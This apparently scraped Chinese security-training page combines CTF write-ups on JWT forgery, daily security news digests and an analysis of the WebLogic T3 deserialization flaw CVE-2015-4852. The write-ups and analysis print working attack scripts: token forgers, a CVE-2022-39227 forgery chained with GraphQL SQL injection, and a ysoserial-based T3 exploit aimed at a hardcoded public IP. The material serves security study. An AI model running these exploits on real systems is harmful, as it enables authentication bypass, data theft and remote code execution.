CTF实战
CTFshow系列
Web345
打开靶场,进入环境
看一下源代码
提示了admin界面,先记着。同时刚刚发现cookie含有JWT,放入网站https://jwt.io/中查看一下
加密方式为空加密,所以这里的话,我们base64解码一下,然后直接修改sub为admin,再进行base64编码,放入cookie中即可,接下来访问admin界面
web346
这里进入环境后,接下来进入靶场,看一下JWT,用解密网站解密一下
发现有了加密格式,然后这里存在一种漏洞就是可以把加密方式换成空加密来绕过,但是这个网站是不能直接修改的,我们这里可以借助python脚本实现,脚本如下所示
import time
import jwt
# payload
token_dict={
"iss": "admin",
"iat": 1668871293,
"exp": 1668878493,
"nbf": 1668871293,
"sub": "admin",
"jti": "9892b9d99098ba229891bedcfa856b61"
}
# headers
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="none", # 指明签名算法方式, 默认也是HS256
) # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
注:这里安装jwt模块的时候,安装的模块是PyJWT模块,同时不要给脚本名字命名为jwt.py,否则运行脚本时就会发生报错。
接下来运行脚本
得到JWT
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODg3MTI5MywiZXhwIjoxNjY4ODc4NDkzLCJuYmYiOjE2Njg4NzEyOTMsInN1YiI6ImFkbWluIiwianRpIjoiOTg5MmI5ZDk5MDk4YmEyMjk4OTFiZWRjZmE4NTZiNjEifQ.
去靶场中替换一下,同时访问admin界面
Web347
提示弱口令,这里应该说的是密钥,先记着进入环境后找到JWT去对应网站解码
HS256加密方式,我们这里的话需要猜解一下密钥,然后修改才有效,既然提示了弱口令,那就可以试试123456这种,修改sub为admin,得到新JWT后去靶场中修改JWT,然后访问admin界面
Web348
题目提示爆破,这里就需要先介绍一个爆破工具了,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式也很简单
1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载
2、make #编译
3、./jwtcrack JWT #使用
这里将靶场中的JWT放入其中
爆破出密钥为aaab,接下来方法就同上,在解码网站中,修改sub为admin,同时添加密钥为aaab,然后拿着得到的新JWT,去替换网站的JWT,再去访问admin界面即可。
Web349
题目给了一个附件,内容如下
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
这里发现可以获取公钥和私钥,RSA是用私钥加密,公钥解密,那么我们这里有私钥了,就可以自己写内容,然后用私钥加密,接下来用公钥解密就是我们伪造的内容,所以接下来访问url /private.key获取私钥,然后写个小脚本即可
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
接下来替换JWT,然后post访问
web350
题目给了附件,在里面发现公钥
这里的话应该考察的就是算法修改攻击,然后我们这里修改算法为HS256,而后用公钥加密,脚本如下
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
运行脚本需要安装jsonwebtoken库
得到JWT后替换一下,然后post发包即可获取flag
[祥云杯2022]FunWeb
注:因为这道题没有复现环境了,所以我这里的部分图片是来源于网上,参考的是X1r0z大师傅的https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#funweb%E5%A4%8D%E7%8E%B0
进入环境后是个注册界面,接下来随便注册账号后进行登录
发现上方是有两个功能点的
抓获取成绩包后发现这里提示no admin同时发现JWT,想到这里可能需要伪造JWT,JWT最近新出的漏洞是CVE-2022-39227。那么我们就可以尝试用这个漏洞来进行伪造JWT,伪造JWT脚本如下所示
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')#点分
parsed_payload = loads(base64url_decode(payload))#解码
parsed_payload['is_admin'] = 1#伪造
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))#编码
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'#生成恶意载荷
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsn
print(token)
接下来想到我们抓的包的文件名是graphql,而且还有POST参数,可能存在graphql注入。https://www.leavesongs.com/content/files/slides/%E6%94%BB%E5%87%BBGraphQL.pdf而后使用 getscoreusingnamehahaha方法查询表结构。
{"query": """{ getscoreusingnamehahaha(name: "null' union select group_concat(sql) FROM sqlite_master; --"){ score name } }"""}
返回结果如下
CREATE TABLE users(
ID INTEGER PRIMARY KEY,
NAME TEXT NOT NULL,
PASSWORD TEXT NOT NULL,
SCORE TEXT NOT Null
)
因此可以用这个来查询admin用户成绩,构造最终payload如下。
import json
from jwcrypto.common import base64url_decode, base64url_encode
import httpx
session = httpx.Client(base_url="http://xxx.com/")
session.post("/signin", json={
"username": "test",
"password": "111"
}
)
_ = session.cookies.get("token")
[header, payload, signature] = _.split('.')
parsed_payload = json.loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
fake_payload = base64url_encode((json.dumps(parsed_payload, separators=(',', ':'))))
forged_jwt = '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
session.cookies.delete("token")
session.cookies.set("token", forged_jwt)
data = {"query": """{ getscoreusingnamehahaha(name: "null' union select password FROM users WHERE name='admin'; --"){ score name } }"""}
response = session.post("/graphql", data=data)
print(response.text)
得到密码后去登录即可得到flag
[CISCN2019 华北赛区 Day1 Web2]ikun
进入后发现有登录和注册界面,常规操作先注册后登录
提示要买到lv6,下划后发现可以买等级
这里没有lv6,点击下一页看看仍然没有找到lv6,但发现参数是GET型传参
这意味着我们可以写个小脚本来查找lv6所在位置发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png
脚本如下
import time
import requests
url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page="
for i in range(1,300):
res = requests.get(url+str(i))
time.sleep(0.5)
if "lv6.png" in res.text:
print(i)
break
181页,找到后发现价格是天价,买不起
这里抓包看一下
发现可以修改折扣,把这个discount修改为0.00000000000001然后发包
跳转到了另一个界面但无权限访问再抓包
发现JWT,解码一下(解码网站https://jwt.io/)
我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下https://github.com/brendan-rius/c-jwt-cracker破解后得到密钥为1Kun
抓包,将得到的值赋给JWT,再发包接下来就是读取源码,然后进行Python反序列化获取最终flag,这里不再演示。
后言
JWT的靶场有很多个,我这里也只是利用了CTFhub和portswig等来进行演示,还有一些靶场例如https://jwt-lab.herokuapp.com/challenges也是比较好的,但鉴于考察点相似,这里不再演示,有兴趣的师傅可以自行尝试。然后还有就是这里的CVE漏洞的分析我主要参考了我们战队lemon大师傅的讲解,大家也可以看一下哇,视频链接如下https://www.bilibili.com/video/BV15d4y1F7i3/?spm_id_from=333.337.search-card.all.click&vd_source=414113f33a1cd681c43e79
网络安全日报 2022年12月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Fortinet 为已被利用的 SSL-VPN 漏洞发布紧急补丁
https://www.securityweek.com/fortinet-ships-emergency-patch-already-exploited-vpn-flaw 2、Cryptomining 使用基于Go的CHAOS恶意软件针对 Linux 系统
https://securityaffairs.co/wordpress/139554/cyber-crime/cryptocurrency-mining-campaign-chaos-malware.html 3、谷歌为Chrome 添加无密码登录标准passkeys支持
https://thehackernews.com/2022/12/google-adds-passkey-support-to-chrome.html 4、Royal 勒索软件威胁瞄准美国医疗保健系统
https://thehackernews.com/2022/12/royal-ransomware-threat-takes-aim-at-us.html 5、研究人员披露针对Python、JS开发人员的勒索软件攻击
https://blog.phylum.io/phylum-detects-active-typosquatting-campaign-in-pypi 6、澳大利亚电信公司Telstra泄露13万客户数据
https://www.bleepingcomputer.com/news/security/hackers-earn-989-750-for-63-zero-days-exploited-at-pwn2own-toronto/ 7、苹果改进iCloud数据的端到端加密方式
https://www.cysecurity.news/2022/12/apple-improves-icloud-data-end-to-end.html 8、加拿大安大略省疫苗预订系统的数据泄露影响了数十万人
https://www.cbc.ca/news/canada/toronto/vaccine-data-breach-ontario-1.6680714 9、在披露Log4Shell一年后,大多数公司仍暴露在攻击之下
https://www.freebuf.com/news/352218.html 10、Pwn2Own 2022闭幕,参赛者累计获得近百万美元奖金
https://www.freebuf.com/news/352194.html
网络安全日报 2022年12月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、思科正在为公开披露的 IP 电话漏洞开发补丁
https://www.securityweek.com/cisco-working-patch-publicly-disclosed-ip-phone-vulnerability 2、MuddyWater APT针对中东以及中亚和西亚国家发起新活动
https://securityaffairs.co/wordpress/139505/apt/muddywater-changs-ttps.html 3、超4,000 个易受攻击的 PulseConnect Secure 主机暴露在互联网上
https://www.securityweek.com/over-4000-vulnerable-pulse-connect-secure-hosts-exposed-internet 4、研究人员披露针对电信和BPO公司的入侵活动
https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/ 5、研究人员披露DEV-0139组织针对加密货币行业发起定向攻击
https://www.microsoft.com/en-us/security/blog/2022/12/06/dev-0139-launches-targeted-attacks-against-the-cryptocurrency-industry/ 6、Vice Society勒索组织针对教育部门进行网络攻击
https://unit42.paloaltonetworks.com/vice-society-targets-education-sector/ 7、伊朗APT组织运营的Drokbk恶意软件滥用GitHub托管C2服务
https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver 8、研究人员称Matrix协议存在可利用的加密漏洞
https://nebuchadnezzar-megolm.github.io/ 9、澳大利亚警方逮捕涉及1亿美元资金的网络犯罪嫌犯
https://www.bleepingcomputer.com/news/security/australia-arrests-pig-butchering-suspects-for-stealing-100-million/ 10、以色列研究人员利用电源辐射实现气隙网络间的数据传输
https://www.bleepingcomputer.com/news/security/air-gapped-pcs-vulnerable-to-data-theft-via-power-supply-radiation/
网络安全日报 2022年12月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、苹果取消了 iCloud 照片的 CSAM 检测工具
https://www.securityweek.com/apple-scraps-csam-detection-tool-icloud-photos 2、照明巨头 Acuity Brands 披露了两起数据泄露事件
https://www.securityweek.com/lighting-giant-acuity-brands-discloses-two-data-breaches 3、下载量超过 500 万的 Android 应用程序泄露了用户浏览历史记录
https://securityaffairs.co/wordpress/139415/mobile-2/android-app-with-over-5m-downloads-leaked-user-browsing-history.html 4、研究人员发现了一种绕过几家主要WAF的通用攻击方法
https://www.securityweek.com/wafs-several-major-vendors-bypassed-generic-attack-method 5、俄黑客组织TAG-53对美军事武器与硬件供应商发动钓鱼攻击
https://www.recordedfuture.com/exposing-tag-53-credential-harvesting-infrastructure-for-russia-aligned-espionage-operations 6、研究人员发现使用机器学习模型可部署恶意软件
https://hiddenlayer.com/research/weaponizing-machine-learning-models-with-ransomware/ 7、大量中文网站被黑,嵌入世界杯相关关键词用于黑帽SEO
https://www.freebuf.com/articles/network/351899.html 8、微软向加密货币行业发出有针对性的网络攻击警告
https://thehackernews.com/2022/12/microsoft-alerts-cryptocurrency.html 9、英国罚款五家滥用电话营销的公司,共计43.5万英镑
https://www.infosecurity-magazine.com/news/ico-fines-rogue-nuisance-callers/ 10、报告:Z世代互联网用户使网络犯罪“正常化”
https://www.infosecurity-magazine.com/news/gen-z-internet-users-normalize/
网络安全日报 2022年12月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Apple 为 iCloud 备份添加端到端加密
https://www.securityweek.com/apple-adding-end-end-encryption-icloud-backup 2、Fortinet 修补了 FortiOS 中的高危身份验证绕过漏洞
https://www.securityweek.com/fortinet-patches-high-severity-authentication-bypass-vulnerability-fortios 3、谷歌的威胁分析小组 (TAG) 分享了APT37利用IE 0day漏洞细节
https://www.securityweek.com/google-documents-ie-browser-zero-day-exploited-north-korean-hackers 4、基于Go的僵尸网络"Zerobot"利用Spring4Shell和数十个IoT漏洞
https://www.securityweek.com/self-propagating-zerobot-botnet-targeting-spring4shell-iot-vulnerabilities 5、Pwn2Own Toronto 2022 第一天,三星 Galaxy S22被攻破
https://securityaffairs.co/wordpress/139384/hacking/pwn2own-toronto-2022-day-one.html 6、Sophos Firewall 修复了多个严重漏洞
https://securityaffairs.co/wordpress/139362/security/sophos-firewall-critical-flaw.html 7、新的 Magecart 活动针对至少 44 个电商网站
https://www.scmagazine.com/news/cybercrime/new-magecart-campaign-said-to-target-at-least-44-e-commerce-sites 8、孟加拉黑客组织Team Mysterious Bangladesh攻击印度教育系统
https://cloudsek.com/threatintelligence/indian-central-board-of-higher-education-compromised-by-team-mysterious-bangladesh/ 9、黑客滥用PRoot隔离文件系统劫持Linux设备
https://www.bleepingcomputer.com/news/security/hackers-hijack-linux-devices-using-proot-isolated-filesystems/ 10、本地模式的Eufy家庭摄像头仍会将隐私数据上传云端
https://www.malwarebytes.com/blog/news/2022/12/is-your-home-security-system-storing-data-100-locally
CVE-2015-4852 Weblogic T3 反序列化分析
0x01 前言
看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞,最近正好有一些闲暇时间,可以看一看。
因为环境上总是有一些小问题,所以会在本地和云服务器切换着调试。
0x02 环境搭建
太坑了,我的建议是用本地搭建的方法,因为用 docker 搭建,会产生依赖包缺失的问题,本地搭建指南 https://www.penson.top/article/av40
这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦
链接:https://github.com/QAX-A-Team/WeblogicEnvironment
下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
我这里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到文件夹里面,如图
首先要先改写一下 Dockerfile,原作者写的 Dockerfile 有一点小问题
# 基础镜像
FROM centos:centos7
# 参数
ARG JDK_PKG
ARG WEBLOGIC_JAR
# 解决libnsl包丢失的问题
# RUN yum -y install libnsl
# 创建用户
RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle
# 创建需要的文件夹和环境变量
RUN mkdir -p /install && mkdir -p /scripts
ENV JDK_PKG=$JDK_PKG
ENV WEBLOGIC_JAR=$WEBLOGIC_JAR
# 复制脚本
COPY scripts/jdk_install.sh /scripts/jdk_install.sh
COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh
COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh
COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh
COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh
COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh
COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh
COPY jdks/$JDK_PKG .
COPY weblogics/$WEBLOGIC_JAR .
# 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本
RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi
RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scr
# 脚本设置权限及运行
RUN chmod +x /scripts/jdk_install.sh
RUN chmod +x /scripts/weblogic_install.sh
RUN chmod +x /scripts/create_domain.sh
RUN chmod +x /scripts/open_debug_mode.sh
# 安装JDK
RUN /scripts/jdk_install.sh
# 安装weblogic
RUN /scripts/weblogic_install.sh
# 创建Weblogic Domain
RUN /scripts/create_domain.sh
# 打开Debug模式
RUN /scripts/open_debug_mode.sh
# 启动 Weblogic Server
# CMD ["tail","-f","/dev/null"]
CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"]
EXPOSE 7001
接着起环境
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
再把 docker 当中的一些依赖文件夹拷出来,但是这一步经过我测试,感觉 docker 当中的 lib 存在一定问题,所以后续把 weblogic 的库拿进来就可以了,对应的代码我会放在 GitHub 上,避免师傅们踩坑。
0x03 基础知识
关于 Weblogic
首先说一说 Weblogic 吧,Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。
和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多东西,要知道,在 Tomcat 当中,这些都是需要自己写代码的。
T3 协议
T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。
在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。
我们可以拿 CVE-2015-4852 的 EXP 来讲解
EXP 如下
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = '.\ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "81.68.120.14"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "Calc"
payload = get_payload1(gadget, command)
exp(host, port, payload)
这里有一个小坑,我直接运行 py 程序是不行的,会回显 Not Weblogic,因为 python socket 如果是频繁发包,会被服务端所拒绝,所以需要以 debug 模式运行。当然如果增添 sleep 应该也是可以实现的。
Weblogic 请求包头
我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图
这一个就是它请求包的头
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下
HELO:10.3.6.0.false
AS:2048
HL:19
HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。
Weblogic 请求主体
请求主体,也就是发送的数据,这些数据分为七部分内容,此处借用 z_zz_zzz师傅的http://drops.xmd5.com/static/drops/web-13470.html文章中的一张图
第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包
在 ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。
而此处,如果有多个 Java 序列化的数据,可以对任一一个数据进行攻击即可。
0x04 漏洞分析与调试
寻找尾部漏洞点
毕竟是反序列化的漏洞,思考了一下从两个点入手。
1、是否存在 Jndi 注入2、是否有能够命令执行的利用点
Jndi 注入的链尾探索
怀着这样的思路,先全局搜索 Jndi 关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。
这里有一个 JndiServiceImpl 类,看着不错,点进去看看,它的 invoke() 方法同样吸引人,点过去之后发现疑似存在 jndi 注入
不过这里虽然参数 ———— this.implJndiName 是可控的,但是无法进行攻击,因为只能对 java:comp/env/ 进行探测,无法对 rmi, jndi, ldap 三者进行有效的调用,初步告吹了。
重新换一个类,这里我找到的是 JndiAttrs 类,在它的构造函数中存在调用 ldap 的现象,在第 40 行
从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而 providerURL 最后会被 put 进 env 当中,env 是一个 Properties 类
继续往下分析,env 作为 InitialDirContext 类的构造函数的传参。
一路跟进,是到了 InitialContext 的构造函数,跟进 init() 方法
跟进 getDefaultInitCtx() 方法,再跟进 NamingManager.getInitialContext(myProps),发现只是 loadClass 了一个对象,寄,白给。
诸如此类链尾的尝试还有很多,师傅们可以自行尝试,我这只是在抛砖引玉。由于篇幅限制,后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。
漏洞分析
通过命令 ls -r ./* | grep -i commons,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。
所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在 InboundMsgAbbrev#readObject 处,下个断点开始调试。
Weblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的,不过有了前面 z_zz_zzz 师傅文章中的那张图,在理解上能够变得简单得多。
开始调试
先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息
继续跟进 getServerChannel() 方法
我们可以关注一下目前的 this.connection 是什么
connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等
跟进 getChannel() 方法,开始处理 T3 协议
T3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法
一路跟进至 InboundMsgAbbrev#resolveClass() 中,这里的调用栈如下
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,此时的 var1,正是我们的 AnnotationInvocationHandler 类
这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了 Class.forName() 的操作之后),才会开始进行真正的反序列化
后续就是熟悉的 CC1 链环节,这里不再展开
PoC 理解
PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。
1、Header,这代表了数据包长度2、T3 Header3、反序列化标志,也就是 fe 01 00 00
所以这三段话是这么来的
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
0x05 漏洞修复
在 resolveClass 处打补丁
在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。
如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。
通过 Web 代理与 nginx 等负载均衡防御
Web 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是,不过负载均衡需要自己手动设置。
黑名单 bypass
Oracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。
黑名单中的类不会被反序列化
绕过思路如下
其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。
0x06 小结
从原理角度上来说还是比较简单的,不过理解 T3 的传输,并且构造恶意 PoC 的过程是非常值得学习的,CVE-2015-4852 为一些类似的攻击提供了思路。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

